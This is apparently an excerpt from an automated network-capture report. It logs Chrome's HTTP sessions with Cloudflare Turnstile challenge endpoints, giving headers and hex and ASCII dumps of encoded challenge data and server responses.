20	192.168.2.16	49745	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:30 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8fe493bb0e5e18d0/1736259508185/05de02faa82077d6543a655cf4f5e19ddd06fcf3d6e3e29bceb7ce01fc9098eb/DRsF-H2qQAaMher HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:30 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 07 Jan 2025 14:18:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-07 14:18:30 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 42 64 34 43 2d 71 67 67 64 39 5a 55 4f 6d 56 63 39 50 58 68 6e 64 30 47 5f 50 50 57 34 2d 4b 62 7a 72 66 4f 41 66 79 51 6d 4f 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gBd4C-qggd9ZUOmVc9PXhnd0G_PPW4-KbzrfOAfyQmOsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-07 14:18:30 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49746	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:31 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32198 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:31 UTC	16384	OUT	Data Raw: 76 5f 38 66 65 34 39 33 62 62 30 65 35 65 31 38 64 30 3d 4c 55 31 4b 24 56 4d 53 72 56 72 75 31 75 4f 4d 69 4a 31 68 4b 51 63 56 63 75 66 75 65 6f 35 4b 58 31 4d 50 68 6f 30 4b 51 54 6f 62 52 6f 46 59 62 6f 75 79 68 55 75 56 6f 47 4b 31 55 6f 30 69 31 6f 35 63 56 30 6f 61 41 54 4b 66 6f 39 79 75 50 6f 79 79 6f 4f 6a 64 51 31 75 62 6f 6c 6c 6a 4d 71 6f 73 54 6f 41 50 74 6f 75 4f 6f 35 68 61 38 6f 68 24 24 57 35 4a 66 79 43 7a 7a 6f 36 73 75 4b 6f 53 6a 6a 39 54 75 49 31 6f 75 61 56 4f 62 4b 6f 2d 6f 6f 44 36 6f 64 38 4f 75 56 64 56 75 70 56 52 6a 31 57 72 30 51 72 68 53 4f 72 79 72 73 64 6c 6f 74 4f 56 34 37 5a 32 6f 6f 76 36 6f 6f 4e 33 62 57 64 57 33 79 79 64 64 62 64 38 25 32 62 2b 33 67 63 46 31 43 57 69 4a 43 74 6d 69 74 78 39 43 68 6f 58 50 30 77 72 Data Ascii: v_8fe493bb0e5e18d0=LU1K$VMSrVru1uOMiJ1hKQcVcufueo5KX1MPho0KQTobRoFYbouyhUuVoGK1Uo0i1o5cV0oaATKfo9yuPoyyoOjdQ1ubolljMqosToAPtouOo5ha8oh$$W5JfyCzzo6suKoSjj9TuI1ouaVObKo-ooD6od8OuVdVupVRj1Wr0QrhSOryrsdlotOV47Z2oov6ooN3bWdW3yyddbd8%2b+3gcF1CWiJCtmitx9ChoXP0wr
2025-01-07 14:18:31 UTC	15814	OUT	Data Raw: 68 62 4b 50 4b 4e 55 4a 38 4d 56 56 50 6f 66 79 6f 6f 2d 41 64 49 51 6f 41 6f 5a 79 39 54 56 4b 6f 36 38 4f 31 75 32 4b 33 43 59 31 68 56 6f 6e 77 6d 77 55 4b 6f 46 64 39 6f 56 31 6f 50 6f 64 72 56 51 6f 6c 79 4c 72 4d 64 6f 68 6f 4d 38 75 66 6f 68 6f 75 4b 4d 70 4b 76 6f 58 79 6f 4f 6f 48 4c 58 63 56 67 6f 77 6f 4f 31 4d 34 79 6a 4b 59 31 56 41 6f 43 4b 56 63 75 69 6f 42 4b 59 72 4d 79 6f 45 4b 75 43 45 42 6f 4c 4b 4a 6f 75 41 6f 31 6f 75 56 6f 4c 30 73 6f 39 6f 64 4b 6f 31 34 6f 5a 24 6a 57 62 4b 4d 53 56 65 6f 48 4b 50 71 6c 70 63 7a 79 74 47 68 72 6f 46 5a 51 71 6c 47 55 58 5a 66 30 56 4b 6f 35 5a 30 45 58 50 6f 6a 70 69 46 24 48 6f 4f 70 68 2b 71 53 67 4a 4f 75 77 4b 39 79 49 6f 75 2b 55 2d 4b 46 77 44 31 64 62 4d 62 4b 4c 32 57 65 52 38 4b 59 79 4d Data Ascii: hbKPKNUJ8MVVPofyoo-AdIQoAoZy9TVKo68O1u2K3CY1hVonwmwUKoFd9oV1oPodrVQolyLrMdohoM8ufohouKMpKvoXyoOoHLXcVgowoO1M4yjKY1VAoCKVcuioBKYrMyoEKuCEBoLKJouAo1ouVoL0so9odKo14oZ$jWbKMSVeoHKPqlpczytGhroFZQqlGUXZf0VKo5Z0EXPojpiF$HoOph+qSgJOuwK9yIou+U-KFwD1dbMbKL2WeR8KYyM
2025-01-07 14:18:31 UTC	318	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26280 Connection: close cf-chl-gen: ui7+Fk9d7j4RWtH3obmwmsX9g6P5zeWRps01+OqQsOT5In+uTty9oFKKuw1FVN4oFFQ=$5bipPS48fM+a/5sr Server: cloudflare CF-RAY: 8fe493da194a4289-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:31 UTC	1051	IN	Data Raw: 53 6f 79 44 59 57 6c 6e 59 57 70 64 6b 6e 46 6f 56 6f 6c 79 6c 35 78 59 61 34 71 64 6d 6f 32 4f 6f 5a 35 66 66 35 79 69 5a 6d 4b 6e 69 35 74 33 66 6e 43 4b 66 49 57 4f 69 61 43 47 74 36 4b 77 6b 62 64 38 71 6e 69 72 66 35 79 41 6d 70 43 6d 67 58 71 37 77 4b 47 4d 6a 4b 69 47 6b 49 2b 7a 6b 5a 37 44 6c 5a 48 58 73 4a 71 57 78 39 65 6e 73 4b 72 50 6d 35 33 6a 77 4b 43 65 6d 73 43 63 6e 62 62 4a 35 4d 53 77 73 4d 36 79 37 39 43 73 76 39 44 7a 37 63 33 48 37 75 76 50 31 74 54 69 77 4e 7a 36 38 4d 4c 64 2b 76 62 49 34 67 41 46 35 66 76 51 37 63 38 42 39 50 62 67 47 66 59 58 44 42 50 50 39 50 4c 73 46 39 33 6a 37 74 30 49 2b 69 48 30 49 50 6e 38 39 69 73 74 36 2f 76 72 4d 68 37 79 4f 44 4d 4e 43 44 49 35 4a 6a 38 4a 4d 42 51 62 50 68 49 54 41 7a 55 45 53 54 70 Data Ascii: SoyDYWlnYWpdknFoVolyl5xYa4qdmo2OoZ5ff5yiZmKni5t3fnCKfIWOiaCGt6Kwkbd8qnirf5yAmpCmgXq7wKGMjKiGkI+zkZ7DlZHXsJqWx9ensKrPm53jwKCemsCcnbbJ5MSwsM6y79Csv9Dz7c3H7uvP1tTiwNz68MLd+vbI4gAF5fvQ7c8B9PbgGfYXDBPP9PLsF93j7t0I+iH0IPn89ist6/vrMh7yODMNCDI5Jj8JMBQbPhITAzUESTp
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 67 6a 4a 56 77 6e 4a 65 47 63 70 64 72 66 6f 32 69 6c 36 65 4a 66 34 61 76 62 71 53 79 6f 37 57 4b 74 4a 57 54 74 4c 43 54 6c 37 69 30 6d 35 75 38 75 70 44 4b 75 4a 65 30 70 36 4c 48 6e 5a 32 62 78 37 32 66 71 5a 4b 6a 31 61 76 63 76 4a 61 55 32 35 79 2f 32 62 2b 31 72 75 57 33 73 4d 47 33 32 4b 76 75 71 36 58 64 72 4b 2f 50 35 65 58 49 31 38 72 45 73 74 6a 45 32 66 71 35 36 4d 75 35 76 4c 2f 31 76 64 72 65 30 65 4d 44 33 41 34 46 36 2b 6a 66 38 77 37 6b 45 78 6a 75 30 39 50 72 47 66 7a 50 38 52 4d 4a 46 53 51 66 42 52 6a 36 33 68 7a 66 49 78 30 6a 34 77 59 51 47 51 51 73 44 51 51 55 48 79 7a 34 4c 67 67 79 4e 44 73 62 47 68 51 4e 51 78 73 7a 52 6a 55 59 4f 43 49 55 51 6b 56 43 47 79 59 6b 48 53 77 63 49 44 41 34 4d 78 51 51 4f 31 46 62 4b 55 39 41 54 56 Data Ascii: gjJVwnJeGcpdrfo2il6eJf4avbqSyo7WKtJWTtLCTl7i0m5u8upDKuJe0p6LHnZ2bx72fqZKj1avcvJaU25y/2b+1ruW3sMG32Kvuq6XdrK/P5eXI18rEstjE2fq56Mu5vL/1vdre0eMD3A4F6+jf8w7kExju09PrGfzP8RMJFSQfBRj63hzfIx0j4wYQGQQsDQQUHyz4LggyNDsbGhQNQxszRjUYOCIUQkVCGyYkHSwcIDA4MxQQO1FbKU9ATV
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 6f 58 56 70 65 33 65 49 6f 5a 39 73 72 4b 6c 2b 68 5a 43 50 6f 49 75 78 68 49 61 72 64 6f 70 32 65 5a 6d 4f 67 34 47 63 6b 33 2b 31 6e 38 75 63 74 62 71 4b 6f 36 33 4d 6f 4a 79 78 6f 63 44 49 30 39 6a 4d 71 4a 69 76 6d 73 75 59 6f 4e 69 57 75 39 65 34 70 75 4f 67 77 65 53 6f 72 72 69 6d 30 73 4b 39 78 4e 50 4a 37 38 50 75 7a 4d 76 46 32 66 75 35 39 64 45 42 77 74 50 62 31 74 58 30 2f 4e 4c 59 35 73 50 35 34 39 37 51 45 4e 45 46 41 78 51 53 30 77 6a 37 32 50 54 6c 2b 2f 4c 67 30 78 30 64 34 75 34 6e 2b 2f 4c 66 49 4f 6e 71 42 50 37 39 48 53 66 36 41 51 2f 72 49 66 55 71 42 54 6e 35 2b 67 6c 41 4d 41 6f 33 4f 78 38 61 46 79 41 46 51 6a 49 67 4b 68 70 4f 50 54 34 71 47 68 39 49 4d 51 67 76 51 54 51 58 49 78 64 52 4c 56 59 79 50 69 49 2b 48 44 5a 61 50 30 52 Data Ascii: oXVpe3eIoZ9srKl+hZCPoIuxhIardop2eZmOg4Gck3+1n8uctbqKo63MoJyxocDI09jMqJivmsuYoNiWu9e4puOgweSorrim0sK9xNPJ78PuzMvF2fu59dEBwtPb1tX0/NLY5sP5497QENEFAxQS0wj72PTl+/Lg0x0d4u4n+/LfIOnqBP79HSf6AQ/rIfUqBTn5+glAMAo3Ox8aFyAFQjIgKhpOPT4qGh9IMQgvQTQXIxdRLVYyPiI+HDZaP0R
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 5a 6d 48 70 36 4b 64 71 49 47 79 6d 4b 75 56 74 70 79 74 6d 62 71 67 75 4a 32 2b 70 4c 75 61 79 4c 39 2f 68 70 32 5a 6a 61 69 34 76 71 53 6c 73 4d 58 4c 73 4e 4b 58 74 5a 58 47 7a 63 71 57 32 39 58 4d 74 4b 37 44 30 72 57 5a 33 63 6d 6c 6e 62 66 58 71 4b 2f 4c 36 4b 76 44 35 4e 50 72 35 2b 6a 5a 34 72 6a 77 35 72 62 2b 31 72 50 50 2b 63 44 65 34 4d 45 49 76 77 66 43 32 77 48 68 79 38 59 54 30 4e 44 7a 46 2b 51 4f 32 4d 73 47 47 42 58 78 38 68 62 74 33 2f 33 63 47 2f 59 64 49 50 7a 68 34 66 59 4e 33 79 30 59 43 67 49 75 2f 44 49 55 2f 69 73 69 4e 67 73 31 4b 42 51 31 4d 52 77 59 4f 54 55 59 48 44 30 35 49 43 42 42 50 78 56 50 50 52 77 35 4c 43 64 4d 49 69 49 67 54 45 49 6b 4c 6c 6f 75 4c 43 6f 67 48 45 41 64 55 69 4e 45 4f 45 51 6e 53 44 30 2f 54 55 41 6f Data Ascii: ZmHp6KdqIGymKuVtpytmbqguJ2+pLuayL9/hp2Zjai4vqSlsMXLsNKXtZXGzcqW29XMtK7D0rWZ3cmlnbfXqK/L6KvD5NPr5+jZ4rjw5rb+1rPP+cDe4MEIvwfC2wHhy8YT0NDzF+QO2MsGGBXx8hbt3/3cG/YdIPzh4fYN3y0YCgIu/DIU/isiNgs1KBQ1MRwYOTUYHD05ICBBPxVPPRw5LCdMIiIgTEIkLlouLCogHEAdUiNEOEQnSD0/TUAo
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 71 4a 6f 32 2b 31 64 34 69 59 76 70 69 58 6b 37 6d 55 73 4a 78 39 70 71 61 5a 74 49 61 34 6f 37 69 4c 6d 70 33 44 6a 71 61 6c 6f 4d 2b 6b 79 35 65 36 70 74 50 4c 6e 64 4f 58 7a 39 6e 46 31 62 71 33 75 61 4b 69 7a 4f 62 5a 37 37 6e 6e 76 62 2f 78 74 4d 53 2b 33 38 7a 4b 31 76 6e 7a 74 2f 66 77 41 65 44 39 30 41 4c 63 39 63 62 58 2b 74 4c 44 34 4e 76 4b 34 4d 4c 6f 36 77 34 42 35 67 6a 6d 35 52 41 47 36 68 77 51 43 41 44 67 44 52 58 77 2f 75 38 57 39 41 66 39 48 42 38 73 44 78 34 6d 43 68 73 64 4b 41 73 4b 49 68 62 77 4b 79 4d 78 47 76 59 6f 2b 6a 30 52 49 44 67 42 4e 69 67 42 43 53 59 70 42 69 4d 6d 4c 51 73 52 4d 7a 4d 50 44 69 68 43 4a 7a 59 34 4f 52 56 51 4f 7a 73 5a 57 54 70 54 48 6a 73 30 55 79 49 2f 4f 6b 64 69 4c 56 64 5a 4b 56 49 77 58 47 6c 44 53 Data Ascii: qJo2+1d4iYvpiXk7mUsJx9pqaZtIa4o7iLmp3DjqaloM+ky5e6ptPLndOXz9nF1bq3uaKizObZ77nnvb/xtMS+38zK1vnzt/fwAeD90ALc9cbX+tLD4NvK4MLo6w4B5gjm5RAG6hwQCADgDRXw/u8W9Af9HB8sDx4mChsdKAsKIhbwKyMxGvYo+j0RIDgBNigBCSYpBiMmLQsRMzMPDihCJzY4ORVQOzsZWTpTHjs0UyI/OkdiLVdZKVIwXGlDS
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 2b 76 35 4e 32 6a 37 4f 43 73 4d 62 48 77 70 4b 35 79 37 57 6d 7a 73 54 4a 6a 71 4c 53 6f 34 32 56 78 36 62 55 72 73 57 71 73 5a 62 4d 79 4a 6d 77 30 5a 32 35 6e 64 4c 47 6f 4a 2f 6e 79 71 6d 6e 33 75 57 36 79 2b 37 63 79 38 6e 33 74 75 44 51 2b 62 6e 54 30 37 58 52 30 39 59 43 31 74 72 31 43 41 4c 39 32 66 76 71 35 63 7a 34 7a 74 37 52 41 4d 33 55 7a 77 6a 52 39 64 41 4d 36 68 6e 79 47 74 6f 5a 36 52 55 64 47 53 63 6f 2b 39 37 33 48 4f 6f 5a 4c 7a 41 72 2b 69 49 30 48 67 38 33 4c 54 4c 32 43 7a 73 4d 39 66 30 73 2b 51 48 34 4c 51 4d 53 52 7a 45 43 50 52 34 39 4e 54 6b 67 50 53 45 6a 44 6b 30 54 56 69 31 57 54 67 38 70 56 52 73 62 4e 6c 56 61 47 79 35 64 49 54 67 38 5a 31 4a 5a 50 31 59 6d 50 7a 31 73 54 7a 45 6f 58 69 38 31 4c 57 4e 4d 52 6a 46 6c 4e 6a Data Ascii: +v5N2j7OCsMbHwpK5y7WmzsTJjqLSo42Vx6bUrsWqsZbMyJmw0Z25ndLGoJ/nyqmn3uW6y+7cy8n3tuDQ+bnT07XR09YC1tr1CAL92fvq5cz4zt7RAM3UzwjR9dAM6hnyGtoZ6RUdGSco+973HOoZLzAr+iI0Hg83LTL2CzsM9f0s+QH4LQMSRzECPR49NTkgPSEjDk0TVi1WTg8pVRsbNlVaGy5dITg8Z1JZP1YmPz1sTzEoXi81LWNMRjFlNj
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 72 34 53 79 6c 71 47 4a 74 4d 43 74 68 62 6d 77 6e 59 69 2f 6f 6f 79 50 77 5a 48 44 6b 4d 57 36 79 35 54 51 76 72 57 59 7a 64 6a 46 6e 64 43 68 30 2b 6e 57 75 73 72 47 32 4b 6e 6a 72 4e 32 74 38 37 44 68 73 64 58 35 35 66 4c 4a 2f 75 6e 30 30 62 6e 75 34 72 7a 41 38 39 62 64 77 50 7a 71 34 63 33 34 79 65 30 53 2f 66 4c 70 30 51 4c 6d 38 76 49 46 45 66 48 59 44 4f 34 43 49 67 34 44 33 4e 30 53 43 66 55 71 46 53 45 67 36 42 6f 6c 48 4f 30 65 4b 52 62 73 4b 52 63 4b 39 43 59 4c 4b 50 55 71 2b 54 41 43 4c 68 4d 74 48 7a 45 39 4e 41 49 32 4b 78 34 4a 4f 51 6f 4a 43 6a 38 31 49 68 4a 43 4e 31 67 57 52 79 73 2b 46 55 77 76 50 69 46 56 51 7a 6f 66 55 7a 64 63 61 31 56 68 50 69 70 62 55 54 34 75 58 57 6c 53 64 32 45 79 57 6a 4e 6c 63 58 46 58 61 30 39 65 50 48 42 Data Ascii: r4SylqGJtMCthbmwnYi/ooyPwZHDkMW6y5TQvrWYzdjFndCh0+nWusrG2KnjrN2t87DhsdX55fLJ/un00bnu4rzA89bdwPzq4c34ye0S/fLp0QLm8vIFEfHYDO4CIg4D3N0SCfUqFSEg6BolHO0eKRbsKRcK9CYLKPUq+TACLhMtHzE9NAI2Kx4JOQoJCj81IhJCN1gWRys+FUwvPiFVQzofUzdca1VhPipbUT4uXWlSd2EyWjNlcXFXa09ePHB
2025-01-07 14:18:31 UTC	1369	IN	Data Raw: 71 7a 45 77 73 53 66 30 4b 72 4c 6a 70 37 4a 79 4c 2b 4b 6f 64 54 52 6c 64 72 51 76 72 61 31 31 36 47 32 75 74 2b 6a 74 61 44 55 34 65 7a 61 36 4f 57 70 37 75 54 53 79 66 62 6e 79 4d 62 57 36 4d 37 53 30 76 65 37 7a 76 58 78 77 41 58 79 2f 66 33 30 42 51 44 49 78 64 77 49 33 78 48 71 44 4d 37 65 46 41 6b 42 34 75 45 56 2f 4f 6f 64 44 66 45 5a 2b 68 73 61 37 69 63 59 45 43 55 44 4a 43 49 74 42 79 66 71 2b 69 77 6c 48 44 58 39 4d 42 6b 48 4e 53 6b 4f 4a 52 63 32 4e 67 74 44 4e 43 77 43 48 7a 6f 6f 53 68 4a 42 51 30 51 47 52 53 41 62 55 30 51 38 50 53 39 4e 54 31 41 53 55 53 78 64 4e 31 56 58 57 42 6c 5a 4e 43 39 6e 57 46 41 69 51 32 46 6a 5a 43 56 6c 51 48 46 4c 61 57 74 73 64 32 31 49 51 33 74 73 5a 48 31 58 64 58 64 34 67 33 6c 55 68 56 39 39 66 34 43 4b Data Ascii: qzEwsSf0KrLjp7JyL+KodTRldrQvra116G2ut+jtaDU4eza6OWp7uTSyfbnyMbW6M7S0ve7zvXxwAXy/f30BQDIxdwI3xHqDM7eFAkB4uEV/OodDfEZ+hsa7icYECUDJCItByfq+iwlHDX9MBkHNSkOJRc2NgtDNCwCHzooShJBQ0QGRSAbU0Q8PS9NT1ASUSxdN1VXWBlZNC9nWFAiQ2FjZCVlQHFLaWtsd21IQ3tsZH1XdXd4g3lUhV99f4CK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49747	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:32 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:32 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 07 Jan 2025 14:18:32 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 8CObl606aV4WgdFQV3L1/WjX+CJRVGGt0D0=$G7S41hkZA2NSUaQj Server: cloudflare CF-RAY: 8fe493df4f3a18ee-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:32 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49748	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:34 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34605 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:34 UTC	16384	OUT	Data Raw: 76 5f 38 66 65 34 39 33 62 62 30 65 35 65 31 38 64 30 3d 4c 55 31 4b 24 56 4d 53 72 56 72 75 31 75 4f 4d 69 4a 31 68 4b 51 63 56 63 75 66 75 65 6f 35 4b 58 31 4d 50 68 6f 30 4b 51 54 6f 62 52 6f 46 59 62 6f 75 79 68 55 75 56 6f 47 4b 31 55 6f 30 69 31 6f 35 63 56 30 6f 61 41 54 4b 66 6f 39 79 75 50 6f 79 79 6f 4f 6a 64 51 31 75 62 6f 6c 6c 6a 4d 71 6f 73 54 6f 41 50 74 6f 75 4f 6f 35 68 61 38 6f 68 24 24 57 35 4a 66 79 43 7a 7a 6f 36 73 75 4b 6f 53 6a 6a 39 54 75 49 31 6f 75 61 56 4f 62 4b 6f 2d 6f 6f 44 36 6f 64 38 4f 75 56 64 56 75 70 56 52 6a 31 57 72 30 51 72 68 53 4f 72 79 72 73 64 6c 6f 74 4f 56 34 37 5a 32 6f 6f 76 36 6f 6f 4e 33 62 57 64 57 33 79 79 64 64 62 64 38 25 32 62 2b 33 67 63 46 31 43 57 69 4a 43 74 6d 69 74 78 39 43 68 6f 58 50 30 77 72 Data Ascii: v_8fe493bb0e5e18d0=LU1K$VMSrVru1uOMiJ1hKQcVcufueo5KX1MPho0KQTobRoFYbouyhUuVoGK1Uo0i1o5cV0oaATKfo9yuPoyyoOjdQ1ubolljMqosToAPtouOo5ha8oh$$W5JfyCzzo6suKoSjj9TuI1ouaVObKo-ooD6od8OuVdVupVRj1Wr0QrhSOryrsdlotOV47Z2oov6ooN3bWdW3yyddbd8%2b+3gcF1CWiJCtmitx9ChoXP0wr
2025-01-07 14:18:34 UTC	16384	OUT	Data Raw: 68 62 4b 50 4b 4e 55 4a 38 4d 56 56 50 6f 66 79 6f 6f 2d 41 64 49 51 6f 41 6f 5a 79 39 54 56 4b 6f 36 38 4f 31 75 32 4b 33 43 59 31 68 56 6f 6e 77 6d 77 55 4b 6f 46 64 39 6f 56 31 6f 50 6f 64 72 56 51 6f 6c 79 4c 72 4d 64 6f 68 6f 4d 38 75 66 6f 68 6f 75 4b 4d 70 4b 76 6f 58 79 6f 4f 6f 48 4c 58 63 56 67 6f 77 6f 4f 31 4d 34 79 6a 4b 59 31 56 41 6f 43 4b 56 63 75 69 6f 42 4b 59 72 4d 79 6f 45 4b 75 43 45 42 6f 4c 4b 4a 6f 75 41 6f 31 6f 75 56 6f 4c 30 73 6f 39 6f 64 4b 6f 31 34 6f 5a 24 6a 57 62 4b 4d 53 56 65 6f 48 4b 50 71 6c 70 63 7a 79 74 47 68 72 6f 46 5a 51 71 6c 47 55 58 5a 66 30 56 4b 6f 35 5a 30 45 58 50 6f 6a 70 69 46 24 48 6f 4f 70 68 2b 71 53 67 4a 4f 75 77 4b 39 79 49 6f 75 2b 55 2d 4b 46 77 44 31 64 62 4d 62 4b 4c 32 57 65 52 38 4b 59 79 4d Data Ascii: hbKPKNUJ8MVVPofyoo-AdIQoAoZy9TVKo68O1u2K3CY1hVonwmwUKoFd9oV1oPodrVQolyLrMdohoM8ufohouKMpKvoXyoOoHLXcVgowoO1M4yjKY1VAoCKVcuioBKYrMyoEKuCEBoLKJouAo1ouVoL0so9odKo14oZ$jWbKMSVeoHKPqlpczytGhroFZQqlGUXZf0VKo5Z0EXPojpiF$HoOph+qSgJOuwK9yIou+U-KFwD1dbMbKL2WeR8KYyM
